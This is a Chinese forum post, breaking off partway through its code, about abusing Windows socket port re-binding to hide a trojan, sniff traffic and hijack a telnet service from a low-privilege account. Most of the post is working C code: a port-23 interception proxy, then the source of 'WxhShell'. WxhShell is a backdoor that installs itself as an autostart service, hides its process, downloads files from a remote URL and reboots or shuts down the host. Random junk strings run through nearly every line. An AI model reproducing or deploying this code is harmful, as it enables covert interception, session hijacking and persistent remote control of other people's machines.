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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IG0$OtG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [?x9NQ{  
1{4d)z UB  
  saddr.sin_family = AF_INET; [Av#Z)R  
fN~kd m.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Mnyg:y*=  
biG=4?Xl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Tl5K'3  
sY+U$BYB>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kdh(vNB>  
TJ[C,ic=D  
  这意味着什么?意味着可以进行如下的攻击: }3:DJ(Y  
9+"D8J7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q W#]i  
# eqt{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F,Y,0f@4U9  
RR!(,j^M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '$pT:4EuGq  
J2Y-D'*s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h=SQ]nV{  
} [}u5T`w>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0cZyO$.  
@*q WV*$h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v'Ce|.;  
*F*c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Dww]D|M  
EW*!_|  
  #include Uov%12  
  #include Be}e%Rk  
  #include au7%K5  
  #include    . +> w0FG.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :,"dno7OQ  
  int main() )hm U/E@  
  { geU-T\1[l  
  WORD wVersionRequested; i3t=4[~oL  
  DWORD ret; LSb3w/3M  
  WSADATA wsaData; {PgB~|W  
  BOOL val; R5 47  
  SOCKADDR_IN saddr; }Uki)3(  
  SOCKADDR_IN scaddr; r|4jR6%<'m  
  int err; BM=`zGh"  
  SOCKET s; t^ L XGQ  
  SOCKET sc; c_c]0Tm  
  int caddsize; ~E-YXl9  
  HANDLE mt; ,!t1( H  
  DWORD tid;   v{`Z  
  wVersionRequested = MAKEWORD( 2, 2 ); 4"1OtBU3  
  err = WSAStartup( wVersionRequested, &wsaData ); 6l&m+!i  
  if ( err != 0 ) { & i"33.#]  
  printf("error!WSAStartup failed!\n"); jm&?;~>O  
  return -1; 16/+ O$#y  
  } <_@ K4zV  
  saddr.sin_family = AF_INET; 6} "?eW  
   KK4>8zGR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *6 -;iT8  
6la# 0U23  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  hh<5?1  
  saddr.sin_port = htons(23); +*'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J XKps#,(#  
  { loN!&YceW  
  printf("error!socket failed!\n"); (1JZuR<?c  
  return -1; z1}YoCj1  
  } %HSS x+2oR  
  val = TRUE; #S2LQ5U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @QI]P{   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k1Zu&4C\  
  { Oh6_Bci  
  printf("error!setsockopt failed!\n"); c'OJodpa  
  return -1; vR`-iRQ?_  
  } &&$/>[0=.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zrk/}b0j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !e@G[%k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rubqk4  
}'$6EgX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I8HUH* |)n  
  { {:m5<6?x)  
  ret=GetLastError(); dVc;Tt  
  printf("error!bind failed!\n"); uA=6 HpDB  
  return -1; oc' #sE  
  } 2+" =i/8  
  listen(s,2); .O @bX)  
  while(1) {%D!~,4Ht  
  { `%AFKmc^;  
  caddsize = sizeof(scaddr); _?<Y>B, E  
  //接受连接请求 t+}@J}b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !VpZo*+   
  if(sc!=INVALID_SOCKET) ^y'xcq  
  { xP*9UXZ4P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wpu]{~Y  
  if(mt==NULL) GDw4=0u-  
  { )|,-l^lC  
  printf("Thread Creat Failed!\n"); zYpIG8"o5  
  break; BL0WI9  
  } "L@qjSs8  
  } 3~6F`G  
  CloseHandle(mt); hKtOh  
  } *E0+!  
  closesocket(s); D *W+0  
  WSACleanup(); dvxD{UH  
  return 0; Z)'jn8?P  
  }   +A8S 6bA[=  
  DWORD WINAPI ClientThread(LPVOID lpParam) T[a1S?_*T  
  { A> +5~u  
  SOCKET ss = (SOCKET)lpParam; eHK}U+"\  
  SOCKET sc; j>gO]*BX~  
  unsigned char buf[4096];  /Z! ,1  
  SOCKADDR_IN saddr; }D dg  
  long num; WIOV  
  DWORD val; RBr  
  DWORD ret; gJi11^PK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _tL+39 u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .  hHt+  
  saddr.sin_family = AF_INET; yGgHd=?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RL~|Kr<7J  
  saddr.sin_port = htons(23); %8`zaa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ( f8g}2  
  { @ :Q];rc  
  printf("error!socket failed!\n"); !Y=s_)X  
  return -1; 9UOx~Ty  
  } vq$%Ug/B  
  val = 100; 1mOZ\L!m*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5{ #9b^  
  { N rVQK}%K  
  ret = GetLastError(); +;#hED; 8  
  return -1; ERL(>)  
  } >IfJ.g"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gv `jeN  
  { d|on y  
  ret = GetLastError(); L3Ry#uw  
  return -1; [#j|TBMHM  
  } 5<IUTso5h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,qiS;2(  
  { gtJ^8khME  
  printf("error!socket connect failed!\n"); $f>WR_F  
  closesocket(sc); )U<4ul  
  closesocket(ss); yN{Ybp  
  return -1; y$*?k0=ZX  
  } PNT.9 *d  
  while(1) w|Zq5|[  
  { aEXV^5;,pJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \#tr4g~u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DetBZ.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a&L8W4  
  num = recv(ss,buf,4096,0); ""D rf=]  
  if(num>0) 1>a^Q  
  send(sc,buf,num,0); ;}f%bE  
  else if(num==0) -2> L*"^  
  break; Uo^s]H#:  
  num = recv(sc,buf,4096,0); kKE 2~ q  
  if(num>0) G2a fHL<  
  send(ss,buf,num,0); Iay7Fkv  
  else if(num==0) ,-] JCcH  
  break; ./#K@V1  
  } Y+/ofk "  
  closesocket(ss);  Ea\a:  
  closesocket(sc); W7(OrA!  
  return 0 ; U@& <5'  
  } SKLQAE5  
Y141Twjvd  
)yJeh  
========================================================== J)(]cW.  
b${Kj3(  
下边附上一个代码,,WXhSHELL 1}[\@n+b  
b4%IyJr  
========================================================== Syp|s3u;  
h^hEyrJw  
#include "stdafx.h" wk9tJ#}  
+Ya-h~7;g#  
#include <stdio.h>  C&e  
#include <string.h> % Pa-fee  
#include <windows.h> `9K'I-hv<8  
#include <winsock2.h> _tjFb_}Q  
#include <winsvc.h> 3J'a  
#include <urlmon.h> Y#]Y$n  
W:rzfO.`Z  
#pragma comment (lib, "Ws2_32.lib") DT9i<kl  
#pragma comment (lib, "urlmon.lib") C 2oll-kN  
^D.B^BR  
#define MAX_USER   100 // 最大客户端连接数 !+>yCy$~_  
#define BUF_SOCK   200 // sock buffer -v jjcyTt  
#define KEY_BUFF   255 // 输入 buffer &-cI|  
+bRL.xY  
#define REBOOT     0   // 重启 Q&QR{?PMD  
#define SHUTDOWN   1   // 关机 7/*; rT  
oAvJ"JH@i  
#define DEF_PORT   5000 // 监听端口 oR-_=U^  
t9K.Jc0  
#define REG_LEN     16   // 注册表键长度 zv0RrF^  
#define SVC_LEN     80   // NT服务名长度 2tWUBt\,g  
(O`=$e  
// 从dll定义API +IS$Un  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Nik( Oyj"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "9WP^[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IZ2#jSDn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U_VD* F4Bv  
;U7\pc;S  
// wxhshell配置信息 TfZO0GL$  
struct WSCFG { n53} 79Uiz  
  int ws_port;         // 监听端口 aY {.  
  char ws_passstr[REG_LEN]; // 口令 m   
  int ws_autoins;       // 安装标记, 1=yes 0=no *JpEBtTv=5  
  char ws_regname[REG_LEN]; // 注册表键名 (|6q N  
  char ws_svcname[REG_LEN]; // 服务名 n Isi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UBU(@T(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3ZB;-F5v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H/, tE0ZV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b-O4IDIT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3c9[FZ@ya  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j|[s?YJl  
zJ9,iJyuD  
}; D 'u+3  
O'wN4qb=F  
// default Wxhshell configuration 4h~Oj y16&  
struct WSCFG wscfg={DEF_PORT, L7jz^g^  
    "xuhuanlingzhe", pt0H*quwI  
    1, ol[{1KT{  
    "Wxhshell", VX>_Sp s  
    "Wxhshell", yRgo1ow]  
            "WxhShell Service", 2l!"OiB.P  
    "Wrsky Windows CmdShell Service", *|=&MU*+  
    "Please Input Your Password: ", r?[mn^Bo5  
  1, tICxAp:  
  "http://www.wrsky.com/wxhshell.exe", '[juPI(!  
  "Wxhshell.exe" eq@ v2o7  
    }; a"EQldm|d  
Eui;2P~  
// 消息定义模块 71 A{"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \7C >4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?%LD1 <ya  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J]~fv9~P  
char *msg_ws_ext="\n\rExit."; C/cGr)|8%  
char *msg_ws_end="\n\rQuit."; }pTj8Tr  
char *msg_ws_boot="\n\rReboot..."; -B4v1{An  
char *msg_ws_poff="\n\rShutdown..."; rmhCuY?f  
char *msg_ws_down="\n\rSave to "; n!N;WL3k  
A>4k4*aFm#  
char *msg_ws_err="\n\rErr!"; l y%**iN  
char *msg_ws_ok="\n\rOK!"; .K7A!;  
cX=` Tl  
char ExeFile[MAX_PATH]; zm~~mz A  
int nUser = 0; C>MoR3]  
HANDLE handles[MAX_USER]; 22*t%{(  
int OsIsNt; I|LS_m  
z$<6;2  
SERVICE_STATUS       serviceStatus; {?jdPh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z%AIv%  
q2 f/#"k  
// 函数声明 q%y_<Fw#E  
int Install(void); sZbzY^P  
int Uninstall(void); O%)9t FT  
int DownloadFile(char *sURL, SOCKET wsh); MkYem6  
int Boot(int flag); z44uhRh  
void HideProc(void); 21WqLgT3 4  
int GetOsVer(void); NrU -%!Aw  
int Wxhshell(SOCKET wsl); NV91{o(-7  
void TalkWithClient(void *cs); b1& {%.3[  
int CmdShell(SOCKET sock); KYl^{F  
int StartFromService(void); P"]+6sm&es  
int StartWxhshell(LPSTR lpCmdLine); EjF}yuq[  
hZ#tB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,U tw!]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SP*5 W)6  
,AD| u_pP  
// 数据结构和表定义 M\<!m^~  
SERVICE_TABLE_ENTRY DispatchTable[] = u+R?N% EKP  
{ 2+P3Sii  
{wscfg.ws_svcname, NTServiceMain}, =L=#PJAPj  
{NULL, NULL} '^J/aV  
}; o|}%pc3  
H@3+K$|v  
// 自我安装 #0P<#S^7  
int Install(void) -'0AV,{Z  
{ %F4Q|  
  char svExeFile[MAX_PATH]; FlgB-qR]<n  
  HKEY key; E:o:)h?$  
  strcpy(svExeFile,ExeFile); D4vmBVT  
3Mcz9exY  
// 如果是win9x系统,修改注册表设为自启动 U-? ^B*<  
if(!OsIsNt) { I/> IB   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Us@fJr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kg61Dgu  
  RegCloseKey(key); zo5.}mr+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %%Kg'{-:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ly<;x^D  
  RegCloseKey(key); YH[_0!JY^  
  return 0; $ i&$ZdX  
    } 5]Ra?rF  
  } `MwQ6%lf  
} Gzfb|9 ,q  
else { R] [M_ r  
KALg6DZe:  
// 如果是NT以上系统,安装为系统服务 Gu}x+hG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5HIpoj;\(  
if (schSCManager!=0) 6nfkZvn  
{ '?>eW 2d  
  SC_HANDLE schService = CreateService 1h#k&r#*3  
  ( O1ha'@qID  
  schSCManager, Y1'.m5E  
  wscfg.ws_svcname, {UmCn>c  
  wscfg.ws_svcdisp, 8k1 r|s@d  
  SERVICE_ALL_ACCESS, z\h+6FCD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #-Rz`Y<&  
  SERVICE_AUTO_START, 7 b. -&,  
  SERVICE_ERROR_NORMAL, 0C p}  
  svExeFile, i]-gO  
  NULL, F^NR qE  
  NULL, +{%4&T<nHw  
  NULL, 55cldo   
  NULL, Gh|!FRK[$  
  NULL X@:fW  @  
  ); &0eB@8{N  
  if (schService!=0) .fsk DW  
  { +7Lco"\w<  
  CloseServiceHandle(schService); /C:'qhY,  
  CloseServiceHandle(schSCManager); LA?\~rh!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  b:QFD|  
  strcat(svExeFile,wscfg.ws_svcname); %1@<),  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lp}WBd+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /h M>dkwu  
  RegCloseKey(key); [4hO3):F  
  return 0; `I>K?  
    } xI: 'Hk1  
  } +.lWck  
  CloseServiceHandle(schSCManager); ;a3nH  
} ,4Fqvg  
} Xe SbA  
?R]y}6 P$  
return 1; Doh|G:P]#  
} e87- B1`  
Y+ Z9IiS7  
// 自我卸载 $ tNhwF  
int Uninstall(void) !:<UgbiVv  
{ M&ij[%i  
  HKEY key; &a=e=nR5  
7ILa H|eN  
if(!OsIsNt) { 3NN'E$"3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J4}\V$ysN  
  RegDeleteValue(key,wscfg.ws_regname); ?66(t  
  RegCloseKey(key); =b!J)]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ww($0A`ek  
  RegDeleteValue(key,wscfg.ws_regname); y<1$^Y1/)  
  RegCloseKey(key); Z&w^9;30P  
  return 0; kN j3!u$  
  } V"H 7zx  
} NoO+xLHw8  
} 1mJ_I|98  
else { V*zz- 2 _i  
H 1D;:n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~snF20  
if (schSCManager!=0) S9NN.dKu  
{ & fSc{/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EO&ACG  
  if (schService!=0) tt ]V$V  
  { 0['"m^l0S  
  if(DeleteService(schService)!=0) { U('<iw,Yy  
  CloseServiceHandle(schService); .Sr:"SrT  
  CloseServiceHandle(schSCManager); (Q5@MfK`  
  return 0; T#n1@FgC  
  } zf,%BI[Hr  
  CloseServiceHandle(schService); KKjxg7{K  
  } <i'u96  
  CloseServiceHandle(schSCManager); ) , ]2`w&k  
} H@MFj>~  
} [-t> G!)  
dA} 72D?  
return 1; a*':W%7  
} uUz`=4%A  
! F <] T  
// 从指定url下载文件 @ 9 { %Kn  
int DownloadFile(char *sURL, SOCKET wsh) 2d2@J{  
{ [9O~$! <%  
  HRESULT hr; T5azYdzJy  
char seps[]= "/"; QG|GXp_q`  
char *token; U>_IYT  
char *file; ],F}}pv  
char myURL[MAX_PATH]; w2d]96*kQe  
char myFILE[MAX_PATH]; XU_,Z/Yw_  
<.WM-Z  
strcpy(myURL,sURL); zNny\Z  
  token=strtok(myURL,seps); M7DLs;sD  
  while(token!=NULL) FGwnESCC  
  { 7y)=#ZG'R  
    file=token; *1W, M zg  
  token=strtok(NULL,seps); tP`G]BCbt  
  } QM ZUt  
'}Wu3X  
GetCurrentDirectory(MAX_PATH,myFILE); `(,*IK a  
strcat(myFILE, "\\"); {@V3?pG?p  
strcat(myFILE, file); }xb_s  
  send(wsh,myFILE,strlen(myFILE),0); z,bX.*.-  
send(wsh,"...",3,0); g. ?*F#2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TH>?Gi) "  
  if(hr==S_OK) o8'Mks  
return 0; V5O=iMP  
else ySQ-!fQnP  
return 1; fJWxJSdi  
rg5]`-!=  
} *`ZB+ \*  
#*$_S@  
// 系统电源模块 {^cF(7p  
int Boot(int flag) vx!::V7s6  
{ WQ[}&kY~  
  HANDLE hToken; +_X,uvR  
  TOKEN_PRIVILEGES tkp; #Pu@Wx  
A U)1vx(\w  
  if(OsIsNt) { %{7_E*I@n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F gWkcV6B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0+}EA[  
    tkp.PrivilegeCount = 1; KQ4kZN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pr5g6I'G   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " ^HK@$  
if(flag==REBOOT) { ]$~Fzs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >gk z4.*  
  return 0; dG\U)WA(p  
} ]<kupaRQ  
else { S jVsF1d_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "x(>Sj\%I  
  return 0; u>}w-  
} U g}8y8  
  } !/Iq{2LX  
  else { 0]T.Lh$3  
if(flag==REBOOT) { .tRr?*V|l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ot`LZ"H:  
  return 0; F qeV3 N  
} Zc'|!pT _  
else { 'tb(J3ZP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;)(Sdf[P  
  return 0; e1 x^PT  
} `^7:7Wr]=  
} wMb)6YZs  
-t8hi+NK  
return 1; erx 5j\  
} ~;M)qR?]W  
gjj 93  
// win9x进程隐藏模块 D|@bGN  
void HideProc(void) T'ED$}N>~  
{  0xJ7M.  
/?KtXV>]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;V_.[aX  
  if ( hKernel != NULL ) B_{HkQ.PW  
  { }p~OCW!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6'xomRpYN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B7!<{i  
    FreeLibrary(hKernel); F9(._ow[  
  } GX4QaT%  
Z_H?WGO  
return; oZTgN .q  
} 4k8*E5cx  
<9P4}`%)3  
// 获取操作系统版本 M|\^UF2e  
int GetOsVer(void) o#qH2)tb  
{ CRH{E}>  
  OSVERSIONINFO winfo; #6Jc}g< ?g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^SZw`]  
  GetVersionEx(&winfo); %*wzO9w4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `79[+0hL'  
  return 1; B:4Ka]{YO  
  else I @ 2uF-  
  return 0; pO%{'%RA  
} Ve{n<{P  
C ye T]y  
// 客户端句柄模块 4/S=5r}  
int Wxhshell(SOCKET wsl) UMV)wy|j  
{ @;vNX*-J  
  SOCKET wsh; z{9=1XY  
  struct sockaddr_in client; % Y~>Jl  
  DWORD myID; ? ^M /[@  
*LANGQ"2(i  
  while(nUser<MAX_USER) &59F8JgJ  
{ .it#`Yz;  
  int nSize=sizeof(client); JVtQ ,oZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /<);=&[  
  if(wsh==INVALID_SOCKET) return 1; QK)){ cK  
JB3"EFv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q:I$EpKf?Q  
if(handles[nUser]==0) j5Qo*p  
  closesocket(wsh); {7*>Cv}  
else ^/HW$8wEi  
  nUser++; lbQQtpEKO  
  } >M]6uf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :\XI0E  
rQ/ ,XH  
  return 0; x2co>.i  
} cHx%Nd\  
eG5Y+iL-V  
// 关闭 socket Z(j{F<\jS  
void CloseIt(SOCKET wsh) S}(8f!9<  
{ }GumpT$Xw  
closesocket(wsh); (hIF]>,kl  
nUser--; jjRUL.  
ExitThread(0); pY@Y?Jj  
} * z'8j  
"wAf. =F  
// 客户端请求句柄 oH^(qZ8W  
void TalkWithClient(void *cs) %Y]=1BRk}  
{ $&{ti.l  
=-NiO@5o  
  SOCKET wsh=(SOCKET)cs; :_5/u|{  
  char pwd[SVC_LEN]; <3 TA>Dz  
  char cmd[KEY_BUFF]; nd ink$  
char chr[1]; F>zl9Vi<  
int i,j; {%C*{,#+8q  
LCs__.  
  while (nUser < MAX_USER) { [U>@,BH  
 8"%RCE  
if(wscfg.ws_passstr) { -'`TL$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \\,f{?w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n`ViTwd]MQ  
  //ZeroMemory(pwd,KEY_BUFF); :IMdN}(L  
      i=0; 1|{bDlmt  
  while(i<SVC_LEN) { OoBCY-gj*  
nOb?-rR  
  // 设置超时 ZE?f!ifp  
  fd_set FdRead; ~gE:-  
  struct timeval TimeOut; -`+<{NHv\  
  FD_ZERO(&FdRead); BecP T  
  FD_SET(wsh,&FdRead); :u6JjW[a)  
  TimeOut.tv_sec=8; !z 53OT!  
  TimeOut.tv_usec=0; k|vI<:'p,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j'?7D0>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YAVy9$N-  
W=JAq%yd<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !8 -oR6/$%  
  pwd=chr[0]; 4jNG^@O  
  if(chr[0]==0xd || chr[0]==0xa) { =PkO!Mm8  
  pwd=0; POAw M  
  break; ht=P\E  
  }  R'}95S<  
  i++; ~1 ~Xfo>  
    } S?ujRp  
7%MbhlN.  
  // 如果是非法用户,关闭 socket DC+b=IOz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D}3T|N  
} +k\Uf*wh  
59r_#(uo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ke_ [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oVvc?P  
P>i%7:OMZA  
while(1) { 6at1bQ$  
"9!d]2.-Vk  
  ZeroMemory(cmd,KEY_BUFF); ^qGb%! l  
\OILWQ[/  
      // 自动支持客户端 telnet标准   A#8q2n270*  
  j=0; |re}6#TgcT  
  while(j<KEY_BUFF) { t_z,>,BqJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F&RgT1*  
  cmd[j]=chr[0]; L< ^j"!0  
  if(chr[0]==0xa || chr[0]==0xd) { = ?D(g  
  cmd[j]=0; tVuWVJ4M  
  break; _"@CGXu  
  } ;0rGiWC#  
  j++; 'e)^m}:?D  
    } j/`94'Y  
k%s_0 @  
  // 下载文件 <BFQ:  
  if(strstr(cmd,"http://")) { Y;4!i?el  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ldha|s.*  
  if(DownloadFile(cmd,wsh)) Tm}rH]F&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XfPFo6  
  else 7?j;7.i s(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d^03"t0O]  
  } N`@NiJ(O;  
  else { :W#rhuzC  
>F1kR\!  
    switch(cmd[0]) { (jjTK'0[  
  zGKyN@o  
  // 帮助 j#r6b]k(Hv  
  case '?': { YHNR 3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Snp|!e  
    break; @ "a6fn  
  } 1 `^Rdi0  
  // 安装 X cr  =  
  case 'i': { <8,o50`B  
    if(Install()) ~h}Fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I V%zO+  
    else SIO&rrT.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [B@'kwD\l  
    break; '* mH*?Y  
    } &Z(K6U#.  
  // 卸载 |-sPLU&s%  
  case 'r': { F+R?a+e  
    if(Uninstall()) kiUGZ^k\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :B3[:MpL}  
    else j',W 64  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k@zy  
    break; v+p {|X-  
    } d->|EJP  
  // 显示 wxhshell 所在路径 XO#/Fv!  
  case 'p': { ;g{qYj_  
    char svExeFile[MAX_PATH]; !!@A8~H  
    strcpy(svExeFile,"\n\r"); valtev0<  
      strcat(svExeFile,ExeFile); XL#[ %X9  
        send(wsh,svExeFile,strlen(svExeFile),0); {{V8;y  
    break; ! cKz7?w  
    } =q N2Xg/  
  // 重启 rpeJkG@+  
  case 'b': { SJD@&m%?[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u\&b4=nL  
    if(Boot(REBOOT)) P96pm6H_;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +]=e;LN$0  
    else { EY*(Bw  
    closesocket(wsh); R1Sy9x .  
    ExitThread(0); C{TA.\   
    } hxce\OuU0h  
    break; %ZHP2j %~  
    }  "KcA  
  // 关机 n>@oBG)!  
  case 'd': { W3`>8v1?o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zJe#m|Z  
